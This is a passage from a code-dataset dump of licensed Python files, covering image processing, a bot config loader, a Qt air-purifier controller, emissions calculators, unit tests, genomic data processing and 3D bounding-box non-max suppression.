img_as_uint(img_float))\n\n\ndef melc_normalization(img: np.ndarray):\n\n sorted_img = np.sort(np.ravel(img))[::-1]\n img[img > sorted_img[3]] = sorted_img[3] # cut off high intensities\n\n return img[15:-15, 15:-15]\n\n''' \nFor visualization and inspection of images\n\n***Using normalization\n\nregistered_u8 = cv2.convertScaleAbs(registered_image, alpha=(255.0/65535.0))\nkernel = np.ones((2, 2), np.float32)/4\nmean_filtered_img = cv2.filter2D(registered_float, -1, kernel)\nnormalized_img = cv2.normalize(mean_filtered_img, None, 0, 255, cv2.NORM_MINMAX)\n\n\n***Using FFT - cut 0.00001 percent of highest frequencies\n\nimages = []\nimages.append(registered_float)\nvisualize_frequencies(images)\npixels = registered_float.size\nhigh_intensity_pixels = 3\npercentage_non_artificial = 100-high_intensity_pixels/pixels\nfiltered_img = filterLowFrequencies(registered_float, percentage_non_artificial)\nimages.append(filtered_img)\nvisualize_frequencies(images)\n\n\n***Plot histogram\n\nhist = cv2.calcHist([registered_image], [0], None, [65535], [0, 65535])\nplt.plot(hist)\nplt.xticks(np.arange(0, 65535, step=2000))\nplt.grid(True)\nplt.yscale('log') # plt.xlim([0, 65535])\nplt.show()\n\n'''\nif __name__ == '__main__':\n args = parse_args()\n MELCImageProcessing(args.path, melc_structure_generated=False)\n\n# raw_1 = r'G:\\FORSCHUNG\\LAB4\\VISIOMICS\\MELC\\2019\\3rdFinalPanel_18-6056\\201912201349_1'\n\n# melc_processed_data = MELCImageProcessing(raw_1, melc_structure_generated=False)\n\n\nx = 0\n", "source": "perlfloccri/DeepFLEX", "license": "MIT"} {"text": "from typing import List\n\nfrom .exceptions import InvalidConfigError\nfrom .utils import check_schema\n\ntry:\n import ujson as json\nexcept Exception:\n import json\n\n\nclass _config:\n def __init__(self, c: dict) -> None:\n # \u4e0eiotbot \u5bf9\u5e94\u7684\u914d\u7f6e, \u4e0d\u5b58\u5728\u53ea\u80fd\u4e3aNone\n # ip\n host = c.get('host')\n if host:\n self.host = check_schema(str(host))\n else:\n self.host = None\n # port\n try:\n self.port = int(c.get('port'))\n except Exception:\n self.port = None\n # \u7fa4\u9ed1\u540d\u5355\n self.group_blacklist: List[int] = c.get('group_blacklist')\n # \u597d\u53cb\u9ed1\u540d\u5355\n self.friend_blacklist: List[int] = c.get('friend_blacklist')\n\n # webhook \u76f8\u5173\u914d\u7f6e\n # \u5f00\u5173\n self.webhook = bool(c.get('webhook'))\n # \u63a8\u9001\u5730\u5740\n webhook_post_url = c.get('webhook_post_url')\n if webhook_post_url:\n self.webhook_post_url = check_schema(str(webhook_post_url))\n else:\n self.webhook_post_url = None\n # \u63a8\u9001\u7b49\u5f85\u5ef6\u65f6\n try:\n self.webhook_timeout = int(c.get('webhook_timeout'))\n except Exception:\n self.webhook_timeout = 10\n\n\n_config_dict = {}\ntry:\n with open('./.iotbot.json', encoding='utf-8') as f:\n _config_dict = json.load(f)\nexcept FileNotFoundError:\n pass\nexcept json.JSONDecodeError as e:\n raise InvalidConfigError('\u914d\u7f6e\u6587\u4ef6\u4e0d\u89c4\u8303') from e\n\nconfig = _config(_config_dict)\n\n# print('=====config=====')\n# print('port: ', config.port)\n# print('host: ', config.host)\n# print('webhook: ', config.webhook)\n# print('webhook_post_url: ', config.webhook_post_url)\n# print('webhook_timeout: ', config.webhook_timeout)\n# print('================')\n", "source": "li7yue/python--iotbot", "license": "MIT"} {"text": "try:\n from Cython.Build import cythonize\n ext_modules = cythonize(['sic/core.py', 'sic/implicit.py'], compiler_directives={'language_level': '3'})\nexcept:\n pass\n", "source": "pgolo/sic", "license": "MIT"} {"text": "class Solution:\n def intToRoman(self, num: int) -> str:\n convertor = [\n [\"\",\"M\", \"MM\", \"MMM\"],\n [\"\",\"C\", \"CC\", \"CCC\", \"CD\", \"D\", \"DC\", \"DCC\", \"DCCC\", \"CM\"],\n [\"\",\"X\", \"XX\", \"XXX\", \"XL\", \"L\", \"LX\",\"LXX\",\"LXXX\", \"XC\"],\n [\"\",\"I\",\"II\",\"III\",\"IV\",\"V\",\"VI\",\"VII\",\"VIII\",\"IX\"]\n ]\n return convertor[0][num//1000] + convertor[1][(num//100)%10] + convertor[2][(num//10)%10] + convertor[3][num%10]\n\nif __name__ == \"__main__\":\n sol = Solution()\n num = 58\n print(sol.intToRoman(num))\n", "source": "PromasterGuru/Leetcode-Solutions", "license": "MIT"} {"text": "#!/usr/bin/env python3.6\nimport sys\n\ntry:\n from PyQt5.QtWidgets import QApplication, QMainWindow\n from PyQt5.QtCore import QTimer\n from PyQt5.QtWidgets import QMessageBox\nexcept ImportError:\n print('PyQt5 is required to run this script')\n sys.exit(1)\n\ntry:\n from miio.airpurifier import AirPurifier, OperationMode\n from miio import exceptions as miio_exceptions\nexcept ImportError:\n print('miio is required to run this script')\n sys.exit(1)\n\nfrom mainwindow import Ui_MainWindow\n\nTOKEN = 'ffffffffffffffffffffffffffffffff'\nAIR_PUR_IP = '192.168.1.111'\n\n\nclass AirPurifier2App(QMainWindow, Ui_MainWindow):\n def init_device(self) -> AirPurifier or None:\n try:\n return AirPurifier(AIR_PUR_IP, TOKEN)\n except ValueError:\n QMessageBox.warning(self, 'Token error',\n 'Token is invalid.\\nPlease check the device token')\n sys.exit(1)\n\n def init_state_combo(self):\n self.stateComboBox.addItem('Idle (OFF)', OperationMode.Idle)\n self.stateComboBox.addItem('AUTO', OperationMode.Auto)\n self.stateComboBox.addItem('Favorite', OperationMode.Favorite)\n self.stateComboBox.addItem('Sleep', OperationMode.Silent)\n\n def __init__(self, *args, **kwargs):\n super(AirPurifier2App, self).__init__(*args, **kwargs)\n self.setupUi(self)\n\n self.fav_change = False\n\n self.dev = self.init_device()\n self.init_state_combo()\n\n self.check_dev()\n\n self.stateComboBox.currentIndexChanged.connect(self.set_mode)\n self.favSlider.sliderReleased.connect(self.set_fav_lvl)\n self.favSlider.sliderPressed.connect(self.fav_changing)\n self.favSlider.sliderReleased.connect(self.fav_changed)\n\n self.timer = QTimer()\n self.timer.timeout.connect(self.check_dev)\n self.timer.start(2500)\n\n def fav_changing(self):\n self.fav_change = True\n\n def fav_changed(self):\n self.fav_change = False\n\n def device_get_status(self) -> AirPurifier.status:\n if self.dev is not None:\n return self.dev.status()\n\n return None\n\n def check_response(self, resp: str):\n if 'ok' in resp:\n self.statusbar.showMessage('Response OK', 1000)\n else:\n self.statusbar.showMessage('Response NOK!', 1000)\n\n def set_mode(self):\n if self.dev is None:\n return\n\n op_mode = self.stateComboBox.itemData(self.stateComboBox.currentIndex())\n\n if op_mode == self.device_get_status().mode:\n return\n\n self.check_response(self.dev.set_mode(op_mode))\n\n def set_fav_lvl(self):\n if self.dev is None:\n return\n\n lvl = window.favSlider.value()\n\n if lvl == self.device_get_status().favorite_level:\n return\n\n self.check_response(self.dev.set_favorite_level(lvl))\n\n def check_aqi(self):\n if self.dev is None:\n return\n\n self.statusbar.showMessage(f'AQI: {self.dev.status().aqi}')\n\n def check_state(self):\n if self.dev is None:\n return\n\n dev_mode = self.device_get_status().mode\n\n idx = self.stateComboBox.findData(dev_mode)\n\n if idx != self.stateComboBox.currentIndex():\n self.stateComboBox.setCurrentIndex(idx)\n\n def check_fav_level(self):\n if self.dev is None:\n return\n\n if not self.fav_change:\n self.favSlider.setValue(self.dev.status().favorite_level)\n\n def check_dev(self):\n self.check_aqi()\n self.check_state()\n self.check_fav_level()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n\n try:\n window = AirPurifier2App()\n window.show()\n app.exec_()\n except miio_exceptions.DeviceException as ex:\n QMessageBox.warning(None, \"Device error\",\n f'{ex}')\n sys.exit(1)\n", "source": "id872/airpurifier2", "license": "MIT"} {"text": "#!/usr/bin/python3\nimport json\nfrom argparse import ArgumentParser\n\ndef get_args():\n p = ArgumentParser(description='Merge CLOSURE xdconf.ini files')\n p.add_argument('-f', '--files', required=True, type=str, help='Input files')\n p.add_argument('-o', '--outfile', required=False, type=str, default='xdconf.ini', help='Output file')\n return p.parse_args()\n\ndef main():\n args = get_args()\n print('Options selected:')\n for x in vars(args).items(): print(' %s: %s' % x)\n\n files=args.files.split(' ')\n if len(files) < 1:\n print('Require at least one file to merge')\n return\n\n data = {'enclaves': []}\n for f in files:\n with open(f,'r') as inf:\n cur = json.load(inf)\n enc = cur['enclaves']\n for e in enc:\n # find matching enclave e1 in data['enclaves']\n found = False;\n for e1 in data['enclaves']:\n if e['enclave'] == e1['enclave']:\n found = True;\n break;\n # if e not in data['enclaves'], simply add enclave to data['enclaves']\n if not found:\n data['enclaves'].append(e)\n else:\n if e['inuri'] != e1['inuri'] or e['outuri'] != e1['outuri']:\n print('URI do not match, merge not possible')\n exit\n # XXX: need to check for duplicates\n print(\"Warning: Not checking for duplicate halmaps\")\n e1['halmaps'].extend(e['halmaps'])\n\n with open(args.outfile, 'w') as outf:\n json.dump(data,outf,indent=2)\n \nif __name__ == '__main__':\n main()\n", "source": "gaps-closure/HAL", "license": "BSD-3-Clause"} {"text": "\"\"\"Calculators for different values.\n\nIn order to approximate the emissions for a single kWh of produced\nenergy, per power source we look at the following 2016 data sets.\n\n* Detailed EIA-923 emissions survey data\n (https://www.eia.gov/electricity/data/state/emission_annual.xls)\n\n* Net Generation by State by Type of Producer by Energy Source\n (EIA-906, EIA-920, and EIA-923)\n (https://www.eia.gov/electricity/data/state/annual_generation_state.xls)\n\nThe NY Numbers for 2016 on power generation are (power in MWh)\n\n2016\tNY\tTotal Electric Power Industry\tTotal\t134,417,107\n2016\tNY\tTotal Electric Power Industry\tCoal\t1,770,238\n2016\tNY\tTotal Electric Power Industry\tPumped Storage\t-470,932\n2016\tNY\tTotal Electric Power Industry\tHydroelectric Conventional\t26,888,234\n2016\tNY\tTotal Electric Power Industry\tNatural Gas\t56,793,336\n2016\tNY\tTotal Electric Power Industry\tNuclear\t41,570,990\n2016\tNY\tTotal Electric Power Industry\tOther Gases\t0\n2016\tNY\tTotal Electric Power Industry\tOther\t898,989\n2016\tNY\tTotal Electric Power Industry\tPetroleum\t642,952\n2016\tNY\tTotal Electric Power Industry\tSolar Thermal and Photovoltaic\t139,611\n2016\tNY\tTotal Electric Power Industry\tOther Biomass\t1,604,650\n2016\tNY\tTotal Electric Power Industry\tWind\t3,940,180\n2016\tNY\tTotal Electric Power Industry\tWood and Wood Derived Fuels\t638,859\n\nThe NY Numbers on Emissions are (metric tons of CO2, SO2, NOx)\n\n2016\tNY\tTotal Electric Power Industry\tAll Sources\t31,295,191\t18,372\t32,161\n2016\tNY\tTotal Electric Power Industry\tCoal\t2,145,561\t10,744\t2,635\n2016\tNY\tTotal Electric Power Industry\tNatural Gas\t26,865,277\t122\t14,538\n2016\tNY\tTotal Electric Power Industry\tOther Biomass\t0\t1\t8,966\n2016\tNY\tTotal Electric Power Industry\tOther\t1,660,517\t960\t3,991\n2016\tNY\tTotal Electric Power Industry\tPetroleum\t623,836\t1,688\t930\n2016\tNY\tTotal Electric Power Industry\tWood and Wood Derived Fuels\t0\t4,857\t1,101\n\n\nDuel Fuel systems are interesting, they are designed to burn either\nNatural Gas, or Petroleum when access to NG is limited by price or\ncapacity. (Under extreme cold conditions NG supply is prioritized for\nheating)\n\nWe then make the following simplifying assumptions (given access to the data):\n\n* All natural gas generation is the same from emissions perspective\n\n* The duel fuel systems burned 30% of the total NG in the state, and\n all of the Petroleum. Based on eyeballing the Duel Fuel systems,\n they tend to be running slightly less than straight NG systems.\n\n* The mix of NG / Oil burned in duel fuel plants is constant\n throughout the year. This is clearly not true, but there is no\n better time resolution information available.\n\n* All other fossil fuels means Coal. All Coal is equivalent from\n emissions perspective.\n\n\"\"\"\n\n# PWR in MWh\n# CO2 in Metric Tons\n#\n# TODO(sdague): add in\n\nFUEL_2016 = {\n \"Petroleum\": {\n \"Power\": 642952,\n \"CO2\": 623836\n },\n \"Natural Gas\": {\n \"Power\": 56793336,\n \"CO2\": 26865277\n },\n \"Other Fossil Fuels\": {\n \"Power\": 1770238,\n \"CO2\": 2145561\n }\n}\n\n# assume Dual Fuel systems consume 30% of state NG. That's probably low.\nFUEL_2016[\"Dual Fuel\"] = {\n \"Power\": (FUEL_2016[\"Petroleum\"][\"Power\"] +\n (FUEL_2016[\"Natural Gas\"][\"Power\"] * .3)),\n \"CO2\": (FUEL_2016[\"Petroleum\"][\"CO2\"] +\n (FUEL_2016[\"Natural Gas\"][\"CO2\"] * .3)),\n}\n\n# Calculate CO2 per kWh usage\n\n\ndef co2_for_fuel(fuel):\n \"Returns metric tons per / MWh, or kg / kWh\"\n if fuel in FUEL_2016:\n hpow = FUEL_2016[fuel][\"Power\"]\n hco2 = FUEL_2016[fuel][\"CO2\"]\n co2per = float(hco2) / float(hpow)\n return co2per\n else:\n return 0.0\n\n\ndef co2_rollup(rows):\n total_kW = 0\n total_co2 = 0\n\n for row in rows:\n fuel_name = row[2]\n kW = int(float(row[3]))\n total_kW += kW\n total_co2 += kW * co2_for_fuel(fuel_name)\n co2_per_kW = total_co2 / total_kW\n return co2_per_kW\n", "source": "hongjsk/ny-power", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2009-2010 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guidata/__init__.py for details)\n\n\"\"\"Unit tests\"\"\"\n\nSHOW = False # Do not show test in GUI-based test launcher\n\nimport unittest\nfrom guidata.dataset.datatypes import DataSet\nfrom guidata.dataset.dataitems import FloatItem, IntItem\nfrom guidata.utils import update_dataset\n\nclass Parameters(DataSet):\n float1 = FloatItem(\"float #1\", min=1, max=250, help=\"height in cm\")\n float2 = FloatItem(\"float #2\", min=1, max=250, help=\"width in cm\")\n number = IntItem(\"number\", min=3, max=20)\n \nclass TestCheck(unittest.TestCase):\n def test_range(self):\n \"\"\"Test range checking of FloatItem\"\"\"\n e = Parameters()\n e.float1 = 150.\n e.float2 = 400.\n e.number = 4\n errors = e.check()\n self.assertEquals( errors, [\"float2\"] )\n\n def test_typechecking(self):\n \"\"\"Test type checking of FloatItem\"\"\"\n e = Parameters()\n e.float1 = 150\n e.float2 = 400\n e.number = 4.\n errors = e.check()\n self.assertEquals( errors, [\"float1\", \"float2\", \"number\"] )\n\n def test_update(self):\n e1 = Parameters()\n e2 = Parameters()\n e1.float1 = 23\n update_dataset(e2, e1)\n self.assertEquals( e2.float1, 23 )\n\nif __name__ == \"__main__\":\n unittest.main()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "#!/usr/bin/env python3\n\nimport layers\nimport cv2\nfrom os.path import join\nimport numpy as np\n# import tensorflow as tf\nimport Augmentor\n\nvw = 320\nvh = 320\n\n\nclass Augment:\n def __init__(self):\n self.w = 2 * 640\n self.h = 2 * 480\n self.canvas = np.zeros((self.h, self.w, 3), dtype=np.uint8)\n\n def update(self, _im):\n # sc = .4\n # h, w = (int(sc * _im.shape[0]), int(sc * _im.shape[1]))\n vh = _im.shape[0]\n vw = _im.shape[1]\n # im = cv2.resize(_im, (w, h))\n self.canvas[100:(100 + vh), :vw, :] = _im\n\n cv2.putText(self.canvas, \"Original\", (0, 50), cv2.FONT_HERSHEY_COMPLEX, 1.0, (255, 255, 255))\n cv2.putText(self.canvas, \"Distorted\", (0, 150 + vh), cv2.FONT_HERSHEY_COMPLEX, 1.0, (255, 255, 255))\n\n self.canvas[(200 + vh):(200 + 2 * vh), :vw, :] = _im\n\n cv2.imshow(\"Image Augment\", self.canvas)\n cv2.waitKey(0)\n\n\nif __name__ == \"__main__\":\n data_root = \"/mnt/4102422c-af52-4b55-988f-df7544b35598/dataset/KITTI/KITTI_Odometry/\"\n seq = \"14\"\n vo_fn = data_root + \"dataset/poses/\" + seq.zfill(2) + \".txt\"\n im_dir = data_root + \"dataset/sequences/\" + seq.zfill(2)\n\n aux_dir = \"/home/handuo/projects/paper/image_base/downloads\"\n\n i = 0\n gui = Augment()\n\n # with tf.Session() as sess:\n ims = []\n p = Augmentor.Pipeline(join(im_dir, \"image_0/\"), output_directory=\"../../../output\", save_format=\"JPEG\")\n # print(\"Has %s samples.\" % (len(p.augmentor_images)))\n p.zoom(probability=0.3, min_factor=0.9, max_factor=1.2)\n p.skew(probability=0.75, magnitude=0.3)\n # p.random_erasing(probability=0.5, rectangle_area=0.3)\n p.multi_erasing(probability=0.5, max_x_axis=0.3, max_y_axis=0.15, max_num=4)\n # p.rotate(probability=0.5, max_left_rotation=6, max_right_rotation=6)\n p.sample(10)\n\n\n", "source": "zhanghanduo/calc_new", "license": "Apache-2.0"} {"text": "from oldowan.mtconvert import seq2sites, sites2seq, str2sites\nfrom oldowan.fasta import fasta\nfrom string import translate\nimport pandas as pd\nimport sys\nimport re\n\nsys.path.append('../../scripts')\nfrom utils import *\n\n## load metadata\nmetadata = pd.read_csv('metadata.csv', index_col=0)\nregion = range2region(metadata.ix[0, 'SeqRange'])\n\nff = fasta('barbieri2012.fasta', 'r')\ndata = ff.readentries()\nff.close()\n\nhids = []\ngroups = []\nsites = []\nsequences = []\n\nfor entry in data:\n\twords = entry['name'].split()\n\tif entry['sequence'].count('N') > 10:\n\t\tprint \"Too many Ns in %s (%s), skipping\" % (words[0], words[1])\n\telse:\n\t\thids.append(words[0])\n\t\tgroups.append(words[1])\n\t\tsites.append(seq2sites(entry['sequence']))\n\t\tsequences.append(entry['sequence'])\n\n# validate\npassed_validation = True\n\nfor i in range(len(sites)):\n\tseq1 = sequences[i]\n\tseq2 = translate(sites2seq(sites[i], region), None, '-')\n\tif not seq1 == seq2:\t\n\t\t# some sequences have an N in the poly-C region around 309.\n\t\tif seq1[:305] == seq2[:305] and seq1[-16254:] == seq2[-16254:]:\n\t\t\tpass\n\t\telse:\n\t\t\tpassed_validation = False\n\t\t\tprint i, hids[i]\n\ncounter = {}\nfor k in metadata.index:\n\tcounter[k] = 0\n\nif passed_validation:\n\twith open('processed.csv', 'w') as f:\n\t\tfor i in range(len(sites)):\n\t\t\thid = hids[i]\n\t\t\tkey = groups[i]\n\t\t\tprefix = metadata.ix[key,'NewPrefix']\n\t\t\tcounter[key] += 1\n\t\t\tnewid = prefix + str(counter[key]).zfill(3)\n\t\t\tmysites = ' '.join([str(x) for x in sites[i]])\n\t\t\tf.write('%s,%s,%s\\n' % (newid, hid, mysites))", "source": "ryanraaum/african-mtdna", "license": "CC0-1.0"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 20 15:10:09 2019\n\n@author: cooneyg\n\"\"\"\n\nimport pandas as pd\nca_tech_mix = pd.read_csv('data/canadian_imports.csv')\n\n\n\n", "source": "gschivley/ElectricityLCI", "license": "CC0-1.0"} {"text": "import os,sys,glob,shutil\n\nlists = glob.glob('./*/*.log')\nlists += glob.glob('./*/*.tar')\nlists += glob.glob('./*/*.pk')\nlists += glob.glob('./*/*weights.json')\n\nfor f in lists:\n os.remove(f)\n\n", "source": "resuly/Traffic-3DResnets", "license": "MIT"} {"text": "# 3D IoU caculate code for 3D object detection \n# Kent 2018/12\n\nimport numpy as np\nimport torch\nfrom scipy.spatial import ConvexHull\nfrom numpy import *\nimport matplotlib\nfrom matplotlib import cm\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection, Line3DCollection\nimport matplotlib.pyplot as plt\nimport kaolin as kal\nfrom kaolin.ops.conversions import trianglemeshes_to_voxelgrids as mesh2voxel\n\ndef set_axes_equal(ax):\n '''\n Source: https://stackoverflow.com/a/31364297\n Make axes of 3D plot have equal scale so that spheres appear as spheres,\n cubes as cubes, etc.. This is one possible solution to Matplotlib's\n ax.set_aspect('equal') and ax.axis('equal') not working for 3D.\n\n Input\n ax: a matplotlib axis, e.g., as output from plt.gca().\n '''\n x_limits = ax.get_xlim3d()\n y_limits = ax.get_ylim3d()\n z_limits = ax.get_zlim3d()\n\n x_range = abs(x_limits[1] - x_limits[0])\n x_middle = np.mean(x_limits)\n y_range = abs(y_limits[1] - y_limits[0])\n y_middle = np.mean(y_limits)\n z_range = abs(z_limits[1] - z_limits[0])\n z_middle = np.mean(z_limits)\n\n # The plot bounding box is a sphere in the sense of the infinity\n # norm, hence I call half the max range the plot radius.\n plot_radius = 0.5*max([x_range, y_range, z_range])\n\n ax.set_xlim3d([x_middle - plot_radius, x_middle + plot_radius])\n ax.set_ylim3d([y_middle - plot_radius, y_middle + plot_radius])\n ax.set_zlim3d([z_middle - plot_radius, z_middle + plot_radius])\n\ndef cuboid_data(center, size):\n # suppose axis direction: x: to left; y: to inside; z: to upper\n # get the (left, outside, bottom) point\n o = [a - b / 2 for a, b in zip(center, size)]\n # get the length, width, and height\n l, w, h = size\n x = [[o[0], o[0] + l, o[0] + l, o[0], o[0]], # x coordinate of points in bottom surface\n [o[0], o[0] + l, o[0] + l, o[0], o[0]], # x coordinate of points in upper surface\n [o[0], o[0] + l, o[0] + l, o[0], o[0]], # x coordinate of points in outside surface\n [o[0], o[0] + l, o[0] + l, o[0], o[0]]] # x coordinate of points in inside surface\n y = [[o[1], o[1], o[1] + w, o[1] + w, o[1]], # y coordinate of points in bottom surface\n [o[1], o[1], o[1] + w, o[1] + w, o[1]], # y coordinate of points in upper surface\n [o[1], o[1], o[1], o[1], o[1]], # y coordinate of points in outside surface\n [o[1] + w, o[1] + w, o[1] + w, o[1] + w, o[1] + w]] # y coordinate of points in inside surface\n z = [[o[2], o[2], o[2], o[2], o[2]], # z coordinate of points in bottom surface\n [o[2] + h, o[2] + h, o[2] + h, o[2] + h, o[2] + h], # z coordinate of points in upper surface\n [o[2], o[2], o[2] + h, o[2] + h, o[2]], # z coordinate of points in outside surface\n [o[2], o[2], o[2] + h, o[2] + h, o[2]]] # z coordinate of points in inside surface\n return np.array(x), np.array(y), np.array(z)\n\ndef get_corners(x,y,z):\n x_corners = x[np.r_[0:4,5:9]]\n y_corners = y[np.r_[0:4,5:9]]\n z_corners = z[np.r_[0:4,5:9]]\n corners_3d = np.vstack([x_corners,y_corners,z_corners]).T\n return torch.tensor(corners_3d)\n\ndef cuboid_faces(k):\n bottom = [[0,1,2], [0,2,3]]\n upper = [[4,5,6], [4,6,7]]\n front = [[0,1,5], [0,5,4]]\n back = [[3,2,6], [3,6,7]]\n left = [[0,4,7], [0,7,3]]\n right = [[1,2,6], [1,6,5]]\n return torch.tensor(bottom + upper + front + back + left + right).cuda() + 8 * k \n\ndef plot_gmm(ax, mix, mu, cov, color=None, cmap='Spectral', azim=60, elev=0, numWires=5, wireframe=True):\n if color is None:\n color = np.arange(mix.shape[0]) / (mix.shape[0] - 1)\n if cmap is not None:\n cmap = cm.get_cmap(cmap)\n color = cmap(color)\n\n # u = np.linspace(0.0, 2.0 * np.pi, numWires)\n # v = np.linspace(0.0, np.pi, numWires)\n # X = np.outer(np.cos(u), np.sin(v))\n # Y = np.outer(np.sin(u), np.sin(v))\n # Z = np.outer(np.ones_like(u), np.cos(v)) \n # XYZ = np.stack([X.flatten(), Y.flatten(), Z.flatten()])\n # print(X.shape, Y.shape, Z.shape)\n # ax.plot_wireframe(X, Y, Z, rstride=1, cstride=1)\n alpha = mix / mix.max()\n ax.view_init(azim=azim, elev=elev)\n # numWires = 2\n for k in range(mix.shape[0]):\n #print(mix[k])\n # find the rotation matrix and radii of the axes\n U, s, V = np.linalg.svd(cov[k])\n X, Y, Z = cuboid_data(mu[k], (3, 3, 3))\n XYZ = np.stack([X.flatten(), Y.flatten(), Z.flatten()])\n x, y, z = V.T @ (np.sqrt(s)[:, None] * XYZ) + mu[k][:, None]\n #print(x.shape)\n x = x.reshape(4, numWires)\n y = y.reshape(4, numWires)\n z = z.reshape(4, numWires)\n if wireframe:\n ax.plot_wireframe(x, y, z, rstride=1, cstride=1, color=color[k], alpha=alpha[k])\n else:\n ax.plot_surface(x, y, z, rstride=1, cstride=1, color=color[k], alpha=alpha[k])#\n\ndef plot_box(points_group):#\n # points_group = points_group.numpy()\n fig = plt.figure(figsize=(20, 20))\n ax = fig.add_subplot(111, projection='3d')\n\n for i in range(len(points_group)):\n points = points_group[i]\n #points[:,[1, 2]] = points[:,[2, 1]]\n # P = [[2.06498904e-01 , -6.30755443e-07 , 1.07477548e-03],\n # [1.61535574e-06 , 1.18897198e-01 , 7.85307721e-06],\n # [7.08353661e-02 , 4.48415767e-06 , 2.05395893e-01]]\n #Z = np.zeros((8,3))\n #for i in range(8): Z[i,:] = np.dot(points[i,:],P)\n #Z = 10.0*Z\n #Z = points\n\n\n #r = [-1,1]\n\n #X, Y = np.meshgrid(r, r)\n # plot vertices\n ax.scatter3D(points[:, 0], points[:, 1], points[:, 2])\n\n # list of sides' polygons of figure\n verts = [[points[0],points[1],points[2],points[3]],\n [points[4],points[5],points[6],points[7]], \n [points[0],points[1],points[5],points[4]], \n [points[2],points[3],points[7],points[6]], \n [points[1],points[2],points[6],points[5]],\n [points[4],points[7],points[3],points[0]]]\n\n # plot sides\n ax.add_collection3d(Poly3DCollection(verts, \n facecolors='cyan', linewidths=1, edgecolors='r', alpha=.25))\n\n\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n ax.set_zlabel('Z')\n\n # equal axis scale in 3d: https://stackoverflow.com/a/21765085\n pts_stack = np.vstack(points_group)\n max_range = np.array([pts_stack[:, 0].max()-pts_stack[:, 0].min(), \n pts_stack[:, 1].max()-pts_stack[:, 1].min(), \n pts_stack[:, 2].max()-pts_stack[:, 2].min()]).max() / 2.0\n\n mid_x = (pts_stack[:, 0].max()+pts_stack[:, 0].min()) * 0.5\n mid_y = (pts_stack[:, 1].max()+pts_stack[:, 1].min()) * 0.5\n mid_z = (pts_stack[:, 2].max()+pts_stack[:, 2].min()) * 0.5\n\n ax.set_xlim(mid_x - max_range, mid_x + max_range)\n ax.set_ylim(mid_y - max_range, mid_y + max_range)\n ax.set_zlim(mid_z - max_range, mid_z + max_range)\n #plt.axis('scaled')\n set_axes_equal(ax)\n plt.show()\n\ndef non_max_suppression_3d(gms, nms_th=0.25, conf_th=0.001):\n matplotlib.use( 'tkagg' )\n pi, mu, cov, SVD = gms\n s = SVD['s']\n V = SVD['V']\n box = []\n for k in range(pi.shape[0]):\n #print(\"before flatten: \", s)\n min_pc = np.argmin(s[k])\n if s[k, min_pc] < 0.005:\n s[k, min_pc] = 0.005\n #print(\"after flatten: \", s)\n X, Y, Z = cuboid_data([0,0,0], [1,1,1])\n XYZ = np.stack([X.flatten(), Y.flatten(), Z.flatten()])\n # x, y, z = V[k].T @ (np.sqrt(5.99*s[k])[:, None] * XYZ) + mu[k][:, None]\n x, y, z = V[k].T @ (1.2*np.sqrt(5.99*s[k])[:, None] * XYZ) + mu[k][:, None]\n box.append(get_corners(x,y,z))\n box = torch.stack(box) # k x 8 x 3\n\n if len(box) == 0:\n return box\n\n sorted_gm = np.argsort(-pi)\n box = box[sorted_gm].cuda()\n pi_sorted = pi[sorted_gm]\n bboxes = [0]\n\n # Normalize all vertices to [0,1]\n box_temp = box.view(-1, 3)\n min, _ = torch.min(box_temp, dim=0)\n box = (box - min)\n box_temp = box.view(-1, 3)\n max = torch.max(box_temp)\n box = box / max\n\n print(\"Generating voxels...\")\n origin = torch.zeros((1, 3)).cuda()\n scale = torch.ones((1)).cuda()\n vox_list = mesh2voxel(box, cuboid_faces(0), 30, origin, scale)\n vox_list = kal.ops.voxelgrid.fill(vox_list.cpu()).cuda()\n print(\"Voxels generated!\")\n\n # logs_path = './usd/'\n # timelapse = kal.visualize.Timelapse(logs_path)\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_all_voxel',\n # voxelgrid_list=all_vox # K x N x N x N\n # )\n\n for i in np.arange(1, len(vox_list)):\n vox_gt = vox_list[i]\n flag = 1\n # print(\"Testing instance\" + str(i))\n for j in range(len(bboxes)):\n\n vox_pred = vox_list[bboxes[j]]\n vox_union = torch.logical_or(vox_gt, vox_pred)\n\n vox_intersection = torch.logical_and(vox_gt, vox_pred)\n area_inter = torch.sum(vox_intersection)\n area_union = torch.sum(vox_union)\n IOU_3d = area_inter / area_union\n # print(\"Testing instance\" + str(i) + \", IOU_3d = \"+ str(IOU_3d))\n\n logs_path = './usd/'\n timelapse = kal.visualize.Timelapse(logs_path)\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_voxel_union',\n # voxelgrid_list=[vox_union.squeeze()] # K x N x N x N\n # )\n\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_voxel_gt',\n # voxelgrid_list=[vox_gt.squeeze()] # K x N x N x N\n # )\n\n # timelapse.add_voxelgrid_batch(\n # iteration=0,\n # category='debug_voxel_pred',\n # voxelgrid_list=[vox_pred.squeeze()] # K x N x N x N\n # )\n # plot_box([box[bboxes[j]].cpu().numpy(), box[i].cpu().numpy()])\n\n if IOU_3d > nms_th or pi_sorted[bboxes[j]] < conf_th:\n flag = -1\n break\n if flag == 1:\n bboxes.append(i)\n\n sorted_bboxes = np.asarray(bboxes, np.int32)\n # print(\"######final bboxe######: \", sorted_bboxes.shape[0])\n # plot_box(box[sorted_bboxes].cpu().numpy())\n true_bboxes = sorted_gm[sorted_bboxes]\n SVD['U'] = SVD['U'][true_bboxes]\n SVD['s'] = SVD['s'][true_bboxes]\n SVD['V'] = SVD['V'][true_bboxes]\n\n return pi[true_bboxes], mu[true_bboxes], cov[true_bboxes], SVD\n\n# 3D-IoU-Python: https://github.com/AlienCat-K/3D-IoU-Python.git\n ", "source": "haohlin/pointgmm-primitive-detection", "license": "MIT"} {"text": "from math import floor\nfrom math import ceil\n\nhours_needed = int(input())\ndays_for_work = int(input())\novertime_workers = int(input())\nnormal_shift = 8\n\nlearn_time = days_for_work - days_for_work * 10 / 100\nhours_for_work = learn_time * normal_shift\novertime = overtime_workers * (2 * 